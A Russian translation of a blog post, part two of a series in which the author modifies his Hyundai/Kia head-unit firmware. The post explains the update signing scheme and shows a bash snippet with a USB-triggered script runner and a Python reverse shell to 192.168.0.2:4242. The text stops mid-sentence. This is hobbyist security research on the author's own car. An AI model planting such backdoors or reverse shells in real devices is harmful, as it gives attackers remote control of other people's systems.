{"id":337427,"date":"2022-08-23T15:00:43","date_gmt":"2022-08-23T15:00:43","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=337427"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=337427","title":{"rendered":"<span>\u041a\u0430\u043a \u044f \u0445\u0430\u043a\u043d\u0443\u043b \u0441\u0432\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044c: \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u0438<\/span>"},"content":{"rendered":"<div><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-1\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\u0415\u0441\u043b\u0438 \u0432\u044b \u043d\u0435 \u0447\u0438\u0442\u0430\u043b\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/683248\/\">\u043f\u0435\u0440\u0432\u0443\u044e \u0447\u0430\u0441\u0442\u044c<\/a> \u0441\u0442\u0430\u0442\u044c\u0438, \u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u044d\u0442\u043e.<\/p>\n<h1>\u0427\u0430\u0441\u0442\u044c 2: \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u0431\u044d\u043a\u0434\u043e\u0440<\/h1>\n<p>  <\/p>\n<h1>\u0425\u0432\u0430\u0442\u0438\u0442 \u0436\u0434\u0430\u0442\u044c<\/h1>\n<p>  28 \u0430\u043f\u0440\u0435\u043b\u044f 2022 \u0433\u043e\u0434\u0430 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043e\u043a Display Audio \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439 Hyundai \u0438 Kia. \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0434\u043b\u044f \u043c\u043e\u0435\u0439 \u043c\u0430\u0448\u0438\u043d\u044b.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/0d2\/fb3\/569\/0d2fb3569af7c01d1c4b2e65298e4fa0.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/0d2\/fb3\/569\/0d2fb3569af7c01d1c4b2e65298e4fa0.png\"\/><\/div>\n<p>  \u042f \u0441\u0440\u0430\u0437\u0443 \u0436\u0435 \u043f\u0440\u0438\u043d\u044f\u043b\u0441\u044f \u0437\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0441 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c.<br \/>  <a name=\"habracut\"><\/a>  <\/p>\n<h1>\u0417\u0430\u0449\u0438\u0442\u0430 \u043f\u0440\u043e\u0448\u0438\u0432\u043e\u043a<\/h1>\n<p>  \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u0443 <code>linux_envsetup.sh<\/code> \u044f \u0442\u043e\u0447\u043d\u043e \u0437\u043d\u0430\u043b, \u043a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 D-Audio2V:<\/p>\n<ol>\n<li>\u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u0432\u0441\u0435 \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0440\u0430\u0441\u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u043d\u0443\u0436\u043d\u044b\u043c \u043f\u0430\u043f\u043a\u0430\u043c. (\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Micom \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0432 \u043f\u0430\u043f\u043a\u0443 <code>micom<\/code>, \u043e\u0431\u0440\u0430\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u2014 \u0432 \u043f\u0430\u043f\u043a\u0443 <code>system<\/code>, \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435.)<\/li>\n<li>\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0434\u0432\u043e\u0438\u0447\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043c\u043d\u043e\u0433\u043e\u043a\u0440\u0430\u0442\u043d\u043e\u0433\u043e SHA224 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0445\u044d\u0448; \u044d\u0442\u0438 \u0445\u044d\u0448\u0438 \u043f\u043e\u043c\u0435\u0449\u0430\u044e\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b update.cfg. \u0412 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0435 \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430, \u0434\u0432\u043e\u0435\u0442\u043e\u0447\u0438\u0435, \u0430 \u0437\u0430\u0442\u0435\u043c \u0445\u044d\u0448 \u0444\u0430\u0439\u043b\u0430<\/li>\n<li>\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0448\u0438\u0444\u0440\u0443\u044e\u0442\u0441\u044f \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c AES, \u044d\u0442\u0438 \u0444\u0430\u0439\u043b\u044b \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u0441\u0445\u0435\u043c\u0435 <code>enc_{OriginalName}<\/code>.<\/li>\n<li>\u0424\u0430\u0439\u043b update.cfg \u0445\u044d\u0448\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0442\u0435\u043c \u0436\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u0447\u0442\u043e \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0444\u0430\u0439\u043b\u044b, \u0430 \u0437\u0430\u0442\u0435\u043c \u0445\u044d\u0448 \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u0445\u044d\u0448 \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b update.info.<\/li>\n<li>\u0412\u0441\u0435 \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0444\u0430\u0439\u043b update.cfg \u0438 \u0444\u0430\u0439\u043b update.info \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 zip.<\/li>\n<\/ol>\n<p>  <\/p>\n<h1>\u0421\u043a\u0440\u0438\u043f\u0442\u044b Bash \u2014 \u044d\u0442\u043e \u0443\u0434\u043e\u0431\u043d\u043e<\/h1>\n<p>  \u042f \u0437\u043d\u0430\u043b \u0432\u0441\u0435 \u043c\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0435 \u043a \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c \u043f\u0440\u043e\u0448\u0438\u0432\u043e\u043a. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u043d\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0445, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435. \u0414\u043b\u044f \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430 \u044f \u0441\u043e\u0437\u0434\u0430\u043b \u043f\u0430\u0440\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 bash.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/558\/05b\/bfc\/55805bbfc73e3d2f1cbecfe77be250dc.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/558\/05b\/bfc\/55805bbfc73e3d2f1cbecfe77be250dc.png\"\/><\/div>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u0441\u043e\u0437\u0434\u0430\u043b \u043f\u0443\u0441\u0442\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0438 \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u043b \u0432 \u043d\u0435\u0451 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u0444\u0430\u0439\u043b \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0445\u043e\u0442\u0435\u043b \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c, \u0430 \u043f\u043e\u0442\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0441\u043a\u0440\u0438\u043f\u0442 <code>setup_environment.sh<\/code> \u0434\u043b\u044f \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043f\u0430\u043f\u043e\u043a \u0438 \u0444\u0430\u0439\u043b\u043e\u0432.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/4b9\/bf6\/587\/4b9bf65875e660effb6d12bf7f0d26c1.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/4b9\/bf6\/587\/4b9bf65875e660effb6d12bf7f0d26c1.png\"\/><\/div>\n<p>  \u0417\u0430\u0442\u0435\u043c \u044f \u043e\u0442\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043b \u0444\u0430\u0439\u043b\u044b \u0432 \u043f\u0430\u043f\u043a\u0435 <code>keys<\/code>, \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0432 \u0438\u0445 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0439 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u043a\u043e\u0434\u0435 Mobis, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0433\u0443\u0433\u043b\u0435\u043d\u0438\u044f (\u0441\u043c. <a href=\"https:\/\/habr.com\/ru\/post\/683248\/\">\u043f\u0435\u0440\u0432\u0443\u044e \u0447\u0430\u0441\u0442\u044c<\/a>).<\/p>\n<p>  \u0417\u0430\u0442\u0435\u043c \u044f \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u0444\u0430\u0439\u043b <code>extract_update.sh<\/code>, \u043f\u0435\u0440\u0435\u0434\u0430\u0432 \u0435\u043c\u0443 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/a32\/51c\/507\/a3251c507871cbcec4c31c94a85fbe68.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/a32\/51c\/507\/a3251c507871cbcec4c31c94a85fbe68.png\"\/><\/div>\n<p>  \u041e\u043d \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u0430\u043b \u0444\u0430\u0439\u043b \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043f\u0430\u0440\u043e\u043b\u044f zip \u0438 \u0441\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043b \u043e\u0431\u0440\u0430\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043f\u0430\u043f\u043a\u0443 <code>system_image<\/code>.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/f2b\/771\/59c\/f2b77159cc6d73b46e907597abae0c1c.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/f2b\/771\/59c\/f2b77159cc6d73b46e907597abae0c1c.png\"\/><\/div>\n<p>  <\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/9a8\/e40\/4e2\/9a8e404e281910b89e8d174ab9901993.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/9a8\/e40\/4e2\/9a8e404e281910b89e8d174ab9901993.png\"\/><\/div>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u044f \u043c\u043e\u0433 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043e\u0431\u0440\u0430\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0442\u0430\u043a, \u043a\u0430\u043a \u043c\u043d\u0435 \u0431\u044b\u043b\u043e \u043d\u0443\u0436\u043d\u043e.<\/p>\n<h1>\u0411\u044d\u043a\u0434\u043e\u0440\u044b<\/h1>\n<p>  \u042f \u0440\u0435\u0448\u0438\u043b \u0432\u043d\u043e\u0441\u0438\u0442\u044c \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439; \u043f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435, \u043f\u043e\u043d\u0430\u0447\u0430\u043b\u0443. <br \/>  \u0412 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0430 \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u044f \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b \u0441\u0442\u0430\u0440\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0441 \u0442\u0435\u043c, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0434\u043b\u044f \u043c\u043e\u0435\u0433\u043e \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f. \u0412 \u043d\u0451\u043c \u044f \u043d\u0430\u0448\u0451\u043b \u043d\u043e\u0432\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 bash, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0438\u0439 Guider \u2014 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 Python.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/54b\/a86\/13a\/54ba8613ad45f2f7907e29157f944aba.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/54b\/a86\/13a\/54ba8613ad45f2f7907e29157f944aba.png\"\/><\/div>\n<p>  \u041f\u0440\u0438 \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 (Engineering Mode) \u044f \u0443\u0432\u0438\u0434\u0435\u043b, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043e\u043f\u0446\u0438\u044f \u043c\u0435\u043d\u044e \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u044d\u0442\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430. \u0422\u0430\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430\u0441\u044c \u0446\u0435\u043b\u044c \u0434\u043b\u044f \u043c\u043e\u0435\u0433\u043e \u0431\u044d\u043a\u0434\u043e\u0440\u0430. \u042f \u0440\u0435\u0448\u0438\u043b \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0441\u043a\u0440\u0438\u043f\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 Guider \u0434\u0432\u0430 \u0431\u044d\u043a\u0434\u043e\u0440\u0430.<\/p>\n<pre><code class=\"bash\">echo \"Finding USB Script\" USB_SCRIPT_PATH=$(find \/run\/media\/ -path \"*1C207FCE3065.sh\" 2>\/dev\/null)  if [ -n \"$USB_SCRIPT_PATH\" ] then echo \"Running USB Script\" USB_SCRIPT_CONTENT=$(cat $USB_SCRIPT_PATH) bash -c \"$USB_SCRIPT_CONTENT\" &amp; fi   echo \"Prescript Running\" python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.2\",4242));subprocess.call([\"\/bin\/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())' 2>\/dev\/null &amp;<\/code><\/pre>\n<p>  \u041f\u0435\u0440\u0432\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440 \u0431\u044b\u043b \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441 USB, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0438\u043c \u043f\u043e\u0438\u0441\u043a \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u0444\u0430\u0439\u043b\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 <code>1C207FCE3065.sh<\/code> \u0441 \u043b\u044e\u0431\u043e\u0433\u043e \u0444\u043b\u044d\u0448-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044f, \u0432\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443. \u0412\u0442\u043e\u0440\u043e\u0439 \u0431\u044d\u043a\u0434\u043e\u0440 \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b Python, \u043f\u044b\u0442\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a <code>192.168.0.2<\/code>, \u0442\u043e \u0435\u0441\u0442\u044c \u043a \u043c\u043e\u0435\u043c\u0443 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0443 \u0438\u043b\u0438 \u043d\u043e\u0443\u0442\u0431\u0443\u043a\u0443 \u043f\u0440\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 Wi-Fi.<\/p>\n<h1>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0437\u0430<\/h1>\n<p>  \u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0432 \u0441\u0432\u043e\u0439 \u0431\u044d\u043a\u0434\u043e\u0440, \u044f \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u0441\u043a\u0440\u0438\u043f\u0442 <code>compile_update.sh<\/code>. \u041e\u043d \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438:<\/p>\n<ol>\n<li>\u0414\u0435\u043c\u043e\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u043e\u0431\u0440\u0430\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u044b<\/li>\n<li>\u0412\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043d\u043e\u0432\u044b\u0439 \u0445\u044d\u0448 \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u0430 <code>system.img<\/code><\/li>\n<li>\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u0442 <code>update.cfg<\/code>, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044f \u0432 \u043d\u0435\u0433\u043e \u043d\u043e\u0432\u044b\u0439 \u0445\u044d\u0448 <code>system.img<\/code><\/li>\n<li>\u0412\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0445\u044d\u0448 \u0444\u0430\u0439\u043b\u0430 <code>update.cfg<\/code><\/li>\n<li>\u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b <code>update.cfg<\/code>, \u043f\u043e\u043c\u0435\u0449\u0430\u044f \u0435\u0433\u043e \u0432 <code>update.list<\/code>.<\/li>\n<li>\u0423\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0432\u0441\u0451 \u0432 \u0444\u0430\u0439\u043b zip \u0441 \u043f\u0430\u0440\u043e\u043b\u0435\u043c zip \u0438\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432.<\/li>\n<\/ol>\n<p>  <\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/a2c\/84e\/24f\/a2c84e24f488b86d2311b33d6e088ed5.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/a2c\/84e\/24f\/a2c84e24f488b86d2311b33d6e088ed5.png\"\/><\/div>\n<p>  \u0422\u0430-\u0434\u0430! \u0422\u0435\u043f\u0435\u0440\u044c \u0443 \u043c\u0435\u043d\u044f \u0435\u0441\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u043c\u043e\u0438\u043c\u0438 \u0431\u044d\u043a\u0434\u043e\u0440\u0430\u043c\u0438. \u042f \u043f\u043e\u043b\u0435\u043d\u0438\u043b\u0441\u044f \u0438 \u043d\u0435 \u0441\u0442\u0430\u043b \u0434\u0435\u043b\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0433\u043e\u0442\u043e\u0432\u043e\u0433\u043e zip, \u0447\u0442\u043e\u0431\u044b \u0432 \u043d\u0451\u043c \u0431\u044b\u043b\u0430 \u0432\u0430\u043b\u0438\u0434\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043d\u0435\u0433\u043e \u0438\u043c\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/d69\/ab6\/416\/d69ab6416ab0871e1e01abaeb147d32c.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/d69\/ab6\/416\/d69ab6416ab0871e1e01abaeb147d32c.png\"\/><\/div>\n<p>  <\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/16f\/484\/d75\/16f484d759c725045bf194f32be5e1a2.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/16f\/484\/d75\/16f484d759c725045bf194f32be5e1a2.png\"\/><\/div>\n<p>  \u0414\u0430\u043b\u044c\u0448\u0435 \u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043d\u0430 \u0444\u043b\u044d\u0448-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c \u0441\u0432\u0435\u0436\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u0437\u0430\u0448\u0451\u043b \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Settings \u0432 IVI \u0438 \u043d\u0430\u0436\u0430\u043b Update.<\/p>\n<h1>\u0421\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e?<\/h1>\n<p>  \u0412 \u043f\u0435\u0440\u0432\u044b\u0439 \u0440\u0430\u0437 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e. \u0412 \u043c\u043e\u0451\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u0431\u044b\u043b \u0431\u0430\u0433, \u0434\u043e\u043f\u043e\u043b\u043d\u044f\u0432\u0448\u0438\u0439 \u0444\u0430\u0439\u043b <code>update.cfg<\/code> \u043d\u0435\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0445\u044d\u0448\u0435\u043c. \u0418\u0437-\u0437\u0430 \u044d\u0442\u043e\u0433\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0430\u0441\u044c \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u043f\u044b\u0442\u0430\u043b\u0430\u0441\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430 \u0445\u044d\u0448\u0438, \u0442\u0435\u0440\u043f\u0435\u043b\u0430 \u043d\u0435\u0443\u0434\u0430\u0447\u0443, \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0430\u0441\u044c\u2026 \u041c\u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c 